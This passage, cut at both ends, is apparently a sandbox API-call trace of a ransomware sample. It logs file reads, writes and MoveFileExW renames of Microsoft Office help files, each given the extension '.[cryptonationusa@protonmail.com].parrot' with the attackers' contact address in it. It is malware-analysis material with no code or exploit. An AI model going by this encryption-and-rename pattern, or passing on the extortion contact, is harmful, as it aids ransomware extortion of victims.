HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605320 | out: hHeap=0x5b0000) returned 1 [0171.273] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60ba90 [0171.273] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: hHeap=0x5b0000) returned 1 [0171.273] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x6586e8 [0171.273] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60ba90 | out: hHeap=0x5b0000) returned 1 [0171.273] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x198) returned 0x22a0070 [0171.273] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6586e8 | out: hHeap=0x5b0000) returned 1 [0171.273] WriteFile (in: hFile=0x27c, lpBuffer=0x22a0070*, nNumberOfBytesToWrite=0x198, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x22a0070*, lpNumberOfBytesWritten=0x18eed4*=0x198, lpOverlapped=0x0) returned 1 [0171.275] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22a0070 | out: hHeap=0x5b0000) returned 1 [0171.275] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x18a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0171.275] CloseHandle (hObject=0x27c) returned 1 [0171.275] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x659c90 [0171.275] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf0) returned 0x22b0070 [0171.275] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x659c90 | out: hHeap=0x5b0000) returned 1 [0171.275] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_f_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_F_COL.HXK.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_f_col.hxk.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0171.276] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22b0070 | out: hHeap=0x5b0000) returned 1 [0171.276] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0171.276] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x225fe68 | out: hHeap=0x5b0000) returned 1 [0171.276] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x68de88 [0171.276] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x6586e8 [0171.276] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0171.276] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0171.278] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0171.278] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0171.279] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.279] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x71, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x71, lpOverlapped=0x0) returned 1 [0171.279] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0171.280] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0171.280] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0171.280] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0171.280] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0171.280] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0171.280] GetLastError () returned 0x0 [0171.280] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.280] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0171.280] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0171.280] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0171.280] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0171.280] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0171.280] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0171.280] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0171.280] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0171.280] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0171.280] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0171.280] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0171.280] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0171.280] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0171.280] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0171.280] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0171.280] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0171.280] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0171.280] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605320 [0171.280] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0171.281] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c8068 [0171.281] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605320 | out: hHeap=0x5b0000) returned 1 [0171.281] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60ba90 [0171.281] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: hHeap=0x5b0000) returned 1 [0171.281] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x6586e8 [0171.281] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60ba90 | out: hHeap=0x5b0000) returned 1 [0171.281] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x198) returned 0x22a0070 [0171.281] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6586e8 | out: hHeap=0x5b0000) returned 1 [0171.281] WriteFile (in: hFile=0x27c, lpBuffer=0x22a0070*, nNumberOfBytesToWrite=0x198, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x22a0070*, lpNumberOfBytesWritten=0x18eed4*=0x198, lpOverlapped=0x0) returned 1 [0171.282] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22a0070 | out: hHeap=0x5b0000) returned 1 [0171.282] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x189, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0171.282] CloseHandle (hObject=0x27c) returned 1 [0171.282] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x659c90 [0171.282] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf0) returned 0x22b0070 [0171.282] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x659c90 | out: hHeap=0x5b0000) returned 1 [0171.282] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_k_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_K_COL.HXK.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_k_col.hxk.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0171.284] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22b0070 | out: hHeap=0x5b0000) returned 1 [0171.284] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0171.284] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x225fe68 | out: hHeap=0x5b0000) returned 1 [0171.284] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x68de88 [0171.284] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x6586e8 [0171.284] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0171.284] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0171.288] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0171.288] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0171.291] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.291] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x27c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x27c, lpOverlapped=0x0) returned 1 [0171.291] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0171.291] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0171.291] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0171.291] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0171.291] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0171.292] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0171.292] GetLastError () returned 0x0 [0171.292] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.292] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0171.292] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0171.292] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0171.292] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0171.292] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0171.292] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0171.292] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0171.292] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0171.292] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0171.292] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0171.292] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0171.292] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0171.292] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0171.292] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0171.292] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0171.292] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0171.292] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0171.292] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605320 [0171.292] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0171.292] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c8068 [0171.292] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605320 | out: hHeap=0x5b0000) returned 1 [0171.293] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60ba90 [0171.293] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: hHeap=0x5b0000) returned 1 [0171.293] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x6586e8 [0171.293] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60ba90 | out: hHeap=0x5b0000) returned 1 [0171.293] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x2262060 [0171.293] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6586e8 | out: hHeap=0x5b0000) returned 1 [0171.293] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x3176300 [0171.293] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262060 | out: hHeap=0x5b0000) returned 1 [0171.293] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x643228 [0171.293] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3176300 | out: hHeap=0x5b0000) returned 1 [0171.293] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x60c798 [0171.293] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0171.293] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x5cabe0 [0171.293] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c798 | out: hHeap=0x5b0000) returned 1 [0171.293] WriteFile (in: hFile=0x27c, lpBuffer=0x5cabe0*, nNumberOfBytesToWrite=0x398, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x5cabe0*, lpNumberOfBytesWritten=0x18eed4*=0x398, lpOverlapped=0x0) returned 1 [0171.295] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cabe0 | out: hHeap=0x5b0000) returned 1 [0171.295] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x394, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0171.295] CloseHandle (hObject=0x27c) returned 1 [0171.295] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x6586e8 [0171.295] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0) returned 0x22af630 [0171.295] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6586e8 | out: hHeap=0x5b0000) returned 1 [0171.295] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_col.hxc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_col.hxc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0171.297] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22af630 | out: hHeap=0x5b0000) returned 1 [0171.297] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0171.297] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0171.297] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x68de88 [0171.297] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x6586e8 [0171.297] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0171.297] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0171.299] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0171.299] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0171.300] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.300] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xd0, lpOverlapped=0x0) returned 1 [0171.300] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0171.300] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0171.300] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0171.300] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0171.300] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0171.300] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0171.300] GetLastError () returned 0x0 [0171.300] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.300] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0171.300] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0171.301] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0171.301] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0171.301] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0171.301] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0171.301] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0171.301] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0171.301] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0171.301] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0171.301] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0171.301] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0171.301] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0171.301] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0171.301] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0171.301] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0171.301] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0171.301] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605320 [0171.301] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0171.301] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c8068 [0171.301] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605320 | out: hHeap=0x5b0000) returned 1 [0171.301] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60ba90 [0171.301] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: hHeap=0x5b0000) returned 1 [0171.301] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x6586e8 [0171.301] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60ba90 | out: hHeap=0x5b0000) returned 1 [0171.301] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x2262060 [0171.301] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6586e8 | out: hHeap=0x5b0000) returned 1 [0171.301] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x3176300 [0171.301] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262060 | out: hHeap=0x5b0000) returned 1 [0171.301] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1f8) returned 0x5cbeb0 [0171.301] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3176300 | out: hHeap=0x5b0000) returned 1 [0171.301] WriteFile (in: hFile=0x27c, lpBuffer=0x5cbeb0*, nNumberOfBytesToWrite=0x1f8, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x5cbeb0*, lpNumberOfBytesWritten=0x18eed4*=0x1f8, lpOverlapped=0x0) returned 1 [0171.303] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cbeb0 | out: hHeap=0x5b0000) returned 1 [0171.303] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1e8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0171.303] CloseHandle (hObject=0x27c) returned 1 [0171.303] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x6586e8 [0171.303] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0) returned 0x22af630 [0171.303] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6586e8 | out: hHeap=0x5b0000) returned 1 [0171.303] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_col.hxt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXT.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_col.hxt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0171.304] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22af630 | out: hHeap=0x5b0000) returned 1 [0171.304] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0171.304] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x647228 | out: hHeap=0x5b0000) returned 1 [0171.304] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x68de88 [0171.304] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x6586e8 [0171.304] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0171.304] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0171.306] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0171.306] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0171.307] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.307] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x72, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x72, lpOverlapped=0x0) returned 1 [0171.307] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0171.307] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0171.307] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0171.307] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0171.307] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0171.307] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0171.308] GetLastError () returned 0x0 [0171.308] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.308] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0171.308] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0171.308] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: 